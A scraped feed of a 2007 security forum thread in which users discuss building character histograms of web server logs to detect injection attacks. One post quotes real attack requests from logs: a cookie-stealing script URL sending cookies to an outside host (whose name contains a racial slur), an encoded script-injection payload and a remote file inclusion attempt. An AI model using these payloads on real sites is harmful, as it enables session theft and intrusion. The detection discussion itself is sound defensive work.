Log file histograms This is more on the security side of things, as opposed to the attack side of things. I was wanting to create a program that would parse through, say, Apache log files, and create a histogram of characters passed in requests. After thinking about it for 5 minutes, I thought that surely something like this already exists. Is anyone aware of such a script/app of this nature? Thanks, Jib http://sla.ckers.org/forum/read.php?12,7814,7814#msg-7814 Tue, 21 May 2013 04:17:51 -0500 Phorum 5.2.15a http://sla.ckers.org/forum/read.php?12,7814,8179#msg-8179 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8179#msg-8179 -------------------------------------------------------
> It might also be nice to look at the relative
> length and entropy, which might also help in
> detection.


This is an excellent idea! Thanks for that addition.

junsonn Wrote:
-------------------------------------------------------
>To my knowledge this isn't new at all nEUrOO.
> I've actually done it some 3-4 years ago. I just
> -like i said- dumped a .txt log file every hour with
> a crontab and runned another crontab which
> called a php script over it with a few regexes
> to determin weird behaviour.

For clarification, my intents with the script is not to output to a webpage. It will not be accessible aside from a user with a local account to the webserver. I never claimed for this to be a 'new idea' but nobody seems to know of anything out there that does what I am looking to accomplish. The concept behind this is called anomaly-based detection, as opposed to pattern-based detection. The uncommon characters being your anomalous behavior.

SirNotAppearingOnThisForum Wrote:
-------------------------------------------------------
> ok, jib, I think I got you. so for
> each variable on each
> page/file/whatever you'd want to
> make a seperate histogram, which
> would show the distribution of
> characters and (theoretically) make
> it easier to discern inconsistencies.
> furthermore, you want each character
> instance to 'remember' from which
> value it came from on which line. all
> correct?
>
> this might be sort of limited, though,
> as you could really only test for GET
> variables.

You are 100% on track with my train of thought. While I want it for page specific, it may also merit having site-wide statistics as well. I believe that mod_security will permit POST variables being logged in Apache. As for IIS, I'm sure there is a way to get the data, but frankly, I'm not concerned with that at this point. I would like to just put the script into action first and see if it is any bit reliable for detection.]]> Jib Projects Wed, 14 Mar 2007 20:16:25 -0500 http://sla.ckers.org/forum/read.php?12,7814,8154#msg-8154 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8154#msg-8154
this might be sort of limited, though, as you could really only test for GET variables.]]> SirNotAppearingOnThisForum Projects Wed, 14 Mar 2007 14:02:46 -0500 http://sla.ckers.org/forum/read.php?12,7814,8139#msg-8139 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8139#msg-8139 Well, after all, maybe i'm wrong on what Jib wants to do...]]> nEUrOO Projects Wed, 14 Mar 2007 12:18:10 -0500 http://sla.ckers.org/forum/read.php?12,7814,8136#msg-8136 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8136#msg-8136 jungsonn Projects Wed, 14 Mar 2007 12:13:48 -0500 http://sla.ckers.org/forum/read.php?12,7814,8134#msg-8134 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8134#msg-8134 Okay, makes sense for me now, but then you need to study a type of data that you can bound or if you cannot bound you can describe it very well.
I was thinking with using directly the GET then try to creates rules, extract information on it.

@Jungsonn:
I think the point here is not really on how to do it, but really a new IDS technique.]]> nEUrOO Projects Wed, 14 Mar 2007 12:10:12 -0500 http://sla.ckers.org/forum/read.php?12,7814,8133#msg-8133 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8133#msg-8133 jungsonn Projects Wed, 14 Mar 2007 12:09:28 -0500 http://sla.ckers.org/forum/read.php?12,7814,8130#msg-8130 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8130#msg-8130
--thrill]]> thrill Projects Wed, 14 Mar 2007 11:46:24 -0500 http://sla.ckers.org/forum/read.php?12,7814,8121#msg-8121 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8121#msg-8121
Why not just dump the logs with a crontab and then run a scan over it? that makes 2 crontabs; one to dump it, other to scan it. (if your planning to scan that is) And dump them in the root dir and not in the public dir or everyone can open your logs.]]> jungsonn Projects Wed, 14 Mar 2007 11:33:19 -0500 http://sla.ckers.org/forum/read.php?12,7814,8107#msg-8107 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8107#msg-8107 rsnake Projects Wed, 14 Mar 2007 10:48:20 -0500 http://sla.ckers.org/forum/read.php?12,7814,8102#msg-8102 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8102#msg-8102 I don't see your point for the entropy. That would make sense for password analysis, but for a URL... You could have different type of URL with different entropy (from low to high) with valid content and not only a injection string I guess. And also, it depends on the URL convention of the website.
Maybe I miss something, can you explain?]]> nEUrOO Projects Wed, 14 Mar 2007 10:41:41 -0500 http://sla.ckers.org/forum/read.php?12,7814,8094#msg-8094 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8094#msg-8094 rsnake Projects Wed, 14 Mar 2007 10:20:18 -0500 http://sla.ckers.org/forum/read.php?12,7814,8067#msg-8067 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8067#msg-8067
My intentions of this script/series of graphs is for intrusion detection purposes. I want a graph created for each page on a site that performs form submission. Let's just say for simplicity sake, 98% of the input received from forms on your page is valid legitimate traffic. If you have a histogram of each character that was submitted, spread over enough data entries each character should on average yield around the same occurrence frequency. Therefore, when an attack attempt is made, it will contain characters not normally seen in the requests. The result... a character appearing on your histogram that is far out of frequency scope from the rest of the characters. Example... a username field which all usernames are alpha characters. your histogram (over a large enough data sample) in theory will have characters A - Z with roughly the same frequencies. Now jungsonn comes along and cleverly tries to SQL inject my username field. Well, upon reviewing my histograms I see my typical A-Z characters with their high frequencies, but _now_ I also see a few new characters appearing (such as ', ", and -) with frequencies that are drastically lower than my A-Z characters. Curiously, I click on this '-' character to show me the word in which it came from, and how often I have seen it. Results, word: "--" and frequency is just a handful of times. Hmm... this is unusual, I never see this type of activity, what has caused this? Click on word "--" and it brings me to the log lines containing sly jungsonn's attempts to thieve my site's user accounts.

Now, not only do I know illegitimate activity took place, I know exactly what it was, where it came from, and do so in just a matter of seconds from looking at a bunch of lines.

Does this make sense now?]]> Jib Projects Tue, 13 Mar 2007 19:53:10 -0500 http://sla.ckers.org/forum/read.php?12,7814,8061#msg-8061 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8061#msg-8061
@Sir:
Exactly. Actually I made this because I tested this on my website where there is lots of URL rewriting... so it's useless for me to parse only the GET variable.]]> nEUrOO Projects Tue, 13 Mar 2007 17:34:05 -0500 http://sla.ckers.org/forum/read.php?12,7814,8060#msg-8060 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8060#msg-8060
@neuro: your script makes a histogram of the entire query, not just the GET variables (and I wasn't entirely sure about the specifics in that either; do you, jib, want it to take variable names into account as well as values, or just their values?)]]> SirNotAppearingOnThisForum Projects Tue, 13 Mar 2007 16:55:33 -0500 http://sla.ckers.org/forum/read.php?12,7814,8026#msg-8026 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,8026#msg-8026
Would be cool though, to write a crontab to dump logs.]]> jungsonn Projects Tue, 13 Mar 2007 11:56:57 -0500 http://sla.ckers.org/forum/read.php?12,7814,7973#msg-7973 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7973#msg-7973 Jib Projects Mon, 12 Mar 2007 19:44:20 -0500 http://sla.ckers.org/forum/read.php?12,7814,7970#msg-7970 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7970#msg-7970 (such as pattern detection -- but you need the timestamp then)]]> nEUrOO Projects Mon, 12 Mar 2007 18:07:20 -0500 http://sla.ckers.org/forum/read.php?12,7814,7968#msg-7968 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7968#msg-7968 Jib Projects Mon, 12 Mar 2007 17:58:17 -0500 http://sla.ckers.org/forum/read.php?12,7814,7954#msg-7954 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7954#msg-7954 http://rgaucher.info/histo.pys

Need more work but it works and shows something like this:
X :
_ : |||||||||||||||||||
a : ||||||||||||||||||||||||||||||||||||||||||||||
c : ||||||||||||||||||||||
b : |||||||||||||||||||||||
e : |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
d : ||||||||||||||||||||||||||||||||||||||
g : ||||||||||||||||||||||||||||||||||||||||||||||||||
f : ||||||||||||||
i : |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
h : ||||||||||||||||||||||||||||||||||
k : ||||||
j : ||
m : ||||||||||||||||||||||||||||||||||||||
l : |||||||||||||||||||||||||||||||||||||||||||
o : ||||||||||||||||||||||||||||||||||||||||
n : |||||||||||||||||||||||||||||||||||||||||||
q :
p : ||||||||||||||||||||||||||||||||||||||||||||||||||||
s : ||||||||||||||||||||||||||
r : |||||||||||||||||||||||||||||||||||
u : ||||||||||||||||
t : ||||||||||||||||||||||||||||||||||||||||
w : |||||||||||||
v : ||||||||||||
y : |||||||||
x : |||||||||]]> nEUrOO Projects Mon, 12 Mar 2007 15:43:03 -0500 http://sla.ckers.org/forum/read.php?12,7814,7950#msg-7950 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7950#msg-7950
I think I'm going to wind up just throwing something together real quick, as I want to be able to backtrack from the characters to the word they came from, and from the word to the entire log line this word was found in.

Shouldn't be too difficult.]]> Jib Projects Mon, 12 Mar 2007 15:06:18 -0500 http://sla.ckers.org/forum/read.php?12,7814,7942#msg-7942 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7942#msg-7942 SirNotAppearingOnThisForum Projects Mon, 12 Mar 2007 12:34:17 -0500 http://sla.ckers.org/forum/read.php?12,7814,7883#msg-7883 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7883#msg-7883 -------------------------------------------------------
> oh. what did you have in mind, then?


It was close, but I'm thinking histogram of each individual character, excluding filenames.]]> Jib Projects Sun, 11 Mar 2007 15:48:54 -0500 http://sla.ckers.org/forum/read.php?12,7814,7878#msg-7878 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7878#msg-7878 SirNotAppearingOnThisForum Projects Sun, 11 Mar 2007 09:49:31 -0500 http://sla.ckers.org/forum/read.php?12,7814,7846#msg-7846 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7846#msg-7846 that is a pretty neat script, however it's not exactly what I had in mind. I'm going to start working on it, and I'll post up again when I hit a milestone.

Thanks though!

Jib]]> Jib Projects Sat, 10 Mar 2007 18:24:16 -0600 http://sla.ckers.org/forum/read.php?12,7814,7845#msg-7845 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7845#msg-7845 jungsonn Projects Sat, 10 Mar 2007 18:21:40 -0600 http://sla.ckers.org/forum/read.php?12,7814,7837#msg-7837 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7837#msg-7837
Quote

1: GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=5606&STRMVER=4&CAPREQ=0
2: GET /%64%61%74%61%3A%69%6D%61%67%65%2F%67%69%66%3B%62%61%73%65%36%34%2CR0lGODlhUAAPAKIAAAsLav///88PD9WqsYmApmZmZtZfYmdakyH5BAQUAP8ALAAAAABQAA8AAAPbWLrc/jDKSVe4OOvNu/%209gqARDSRBHegyGMahqO4R0bQcjIQ8E4BMCQc930JluyGRmdAAcdiigMLVrApTYWy5FKM1IQe+Mp+L4rp%3Cbr%20/%3E%20hz+qIOBAUYeCY4p2tGrJZeH9y79mZsawFoaIRxF3JyiYxuHiMGb5KTkpFvZj4ZbYeCiXaOiKBwnxh4fn%3Cbr%20/%3E%20t9e3ktgZyHhrChinONs3cFAShFF2JhvCZlG5uchYNun5eedRxMAF15XEFRXgZWWdciuM8GCmdSQ84lLQ%3Cbr%20/%3EfY5R14wDB5Lyon4ubwS7jx9NcV9/j5+g4JADs
2: GET /%3c%4d%45%54%41%20%48%54%54%50%2d%45%51%55%49%56%3d%5c%22%72%65%66%72%65%73%68%5c%22%20%43%4f%4e%54%45%4e%54%3d%5c%22%30%3b%75%72%6c%3d%64%61%74%61%3a%74%65%78%74%2f%68%74%6d%6c%3b%62%61%73%65%36%34%2c%50%48%4e%6a%63%6d%6c%77%64%44%35%68%62%47%56%79%64%43%67%6e%57%46%4e%54%4a%79%6b%38%4c%33%4e%6a%63%6d%6c%77%64%44%34%4b%5c%22%3e.gif
2: GET /ILoveHavocAce
2: GET /java%20script:document.location='http://nigger.dajoob.com/x.php?x='+document.cookie
2: GET /I%20am%20a%20stupid%20moron.jpg
4: GET /asdasdasd
8: GET /side.php?go=http://donau017.server4you.de/Imagez/msn.c?
]]> WhiteAcid Projects Sat, 10 Mar 2007 08:15:30 -0600 http://sla.ckers.org/forum/read.php?12,7814,7835#msg-7835 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7835#msg-7835 SirNotAppearingOnThisForum Projects Sat, 10 Mar 2007 07:12:52 -0600 http://sla.ckers.org/forum/read.php?12,7814,7817#msg-7817 Re: Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7817#msg-7817 rsnake Projects Fri, 09 Mar 2007 16:13:05 -0600 http://sla.ckers.org/forum/read.php?12,7814,7814#msg-7814 Log file histograms http://sla.ckers.org/forum/read.php?12,7814,7814#msg-7814
I was wanting to create a program that would parse through, say, Apache log files, and create a histogram of characters passed in requests. After thinking about it for 5 minutes, I thought that surely something like this already exists.

Is anyone aware of such a script/app of this nature?

Thanks,
Jib]]> Jib Projects Fri, 09 Mar 2007 15:35:26 -0600